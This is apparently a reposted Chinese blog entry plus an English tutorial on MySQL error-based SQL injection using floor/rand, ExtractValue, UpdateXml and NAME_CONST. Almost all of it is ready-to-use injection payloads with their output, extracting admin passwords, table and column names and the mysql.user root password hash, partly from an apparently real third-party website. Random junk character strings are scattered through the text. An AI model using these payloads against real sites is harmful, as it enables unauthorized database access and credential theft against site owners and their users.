mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
3 d7 L9 z/ [$ U+—-+——-+———+
| id | title | content |
+—-+——-+———+
! J( \: v. g/ ]6 A! W|  1 | test  | do it   |
( U0 ~; r  ^+ U+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
; [3 _9 I2 v. p$ u, JERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
9 w, g6 d6 V2 ?) l9 D) T例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
# k. @$ F# }; l6 u+ g! oERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
6 p1 C( A5 L- a$ f测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

( K2 x4 ~0 V) b' M. Z

再收集：

! D, o7 i7 ]3 S! F% V% shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

3 k, [* G% t$ d% s1 pErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

  G* n/ M4 e3 {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
5 r7 a+ ^) ]9 X2 ^4 _( P
; u% ]  j: N8 X& i+ s4 P& U4 O* zErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
5 C+ \& l9 x9 ^" ]: L, D5 o
9 S# G2 L  a; m- p5 U" \' bMYSQL高版本报错注入技巧-利用NAME_CONST注入
4 r  h5 _+ |& g! [It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
- K) F% x; E2 ?5 N+ ]% z
* S: X5 G# \& L
相关信息
$ a6 ~( m) `/ `7 ~( e5 i
6 e& @+ q. ^* e) F/ a' k- @3 Z1 P) aNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
" j7 u7 ^* i. U" \
4 W: r$ j5 I3 M6 B, m& @. d4 f* bCode:
$ W: ~' l8 \4 a- T) m% o* k6 XNAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

, y* H$ _' t: A% z; S4 ]SELECT NAME_CONST('TEST', 1)
0 F; P. c  a' Q! }3 |


* t, _" c, j& [% x7 |- ~8 B|---------------|
|     TEST      |
7 \1 f9 i8 x7 z, I' O0 Y|               |
' n8 K- s2 _$ `$ L! \|---------------|
|       1       |
|               |
# n" m! p; ^+ k0 S/ A! v6 R|---------------|



; s  m8 |* h  U( `( n2 @: k
, g! b- R6 z" hhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
2 s9 D. D+ I) u
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

/ Q1 u- e, P) f8 c1 }, L' A

7 X( r9 c  \! V. O2 G* z- t9 i! r: z$ x
2 c( b( s" q2 V# j& V( K+ h
% b+ }+ Y1 n4 t, Z  c4 B  [Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

$ c1 N' s0 G! e8 p
VAR = Your MySQL variable.
. F0 o' ^1 l% f, c- v. c. R
6 _0 y$ f; D* g$ k/ x4 P, D6 jMySQL 5.1.3 Server System Variables
# d) ~# }( j! U
: d0 p- I) e4 h1 x. K) ^Let's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

6 W( \7 f+ Y" o+ oErroruplicate column name '5.0.27-community-nt'
4 g" V5 b& b8 J' m3 k0 R: I
6 h4 X# v# E  [



: E5 {- C- T" v% w) iNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
  e& j. Z: m  ~6 [
Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


- I: ?) z2 ?) \" Y2 o. I% \We should get a duplicate column 1 error...

" ^3 G# ]0 Z" L) O5 U+ z3 zCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1


6 ]8 k; Q8 @7 h; s5 ~& M



Now let's get the tables out this bitch..
6 I' h. g, B+ N7 ~
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

# ^, P, D6 E  v7 q
5 ?' H* x1 ^' k4 J8 tErroruplicate column name 'com_admanage
% i% ]! J( C2 D% n  Q- t
( v4 w8 I/ V+ G0 O$ `* [; r7 [
% @$ l/ l  F& ~! c
- O/ Y3 O. r" ~1 Y% X( ]
9 l3 C+ n. K& U3 d4 _" c. c" ~( N
; O' X; P* D! n. O( {9 ~' z+ V( A
+ ~2 P# |  {4 k8 g$ y0 z  q. HNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
! e& y$ Y6 l4 {8 J8 |  {
' d3 W. [1 }) K& s. PLet's get the columns out of the user table..
  Z9 ~* U% c1 ]" `# L2 u
Code:
/ V# |& d7 U& _8 m0 ^5 |+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


: G; W# W$ o3 |- ^0 ISo mine looks like this, and I get the duplicate column name 'Host'.

Code:
3 n7 C6 @; e/ m# z, G( q6 `, fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

6 O3 t0 N  a$ FErroruplicate column name 'Host'
, t- A' x: M& R' |- b$ O. u* c2 I# l
/ z. x# @7 w! I/ r; K( K+ B5 B6 S
; n: m# a  J! [% v) T
+ G7 I& I; ]2 k( q) d$ f

- P/ f  r- c' U5 k0 c
Woot, time to finish this bitch off.
* C9 H; [2 N8 _
, \% D/ s4 g( q( Q( i7 ECode:
& w" I. ?6 H. B& p- Q  @+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...

Code:
& f$ T4 R, {$ ~/ G3 T( F5 Mhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
0 X" J+ {- i2 N7 ~6 J9 q
8 i% c0 U# a* K0 T. DErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
9 f; |  {, U; V


& e! Q) b0 e, r+ G0 t6 c0 \. j/ j1 P
" `8 C, D/ T+ h
0 x. C: K& ~' f: G2 B  [7 l2 q
8 }: v: f1 L, A4 X2 D4 x1 tAnd there we have it, thanks for reading.

, A& p; R8 I# X% E. ?9 d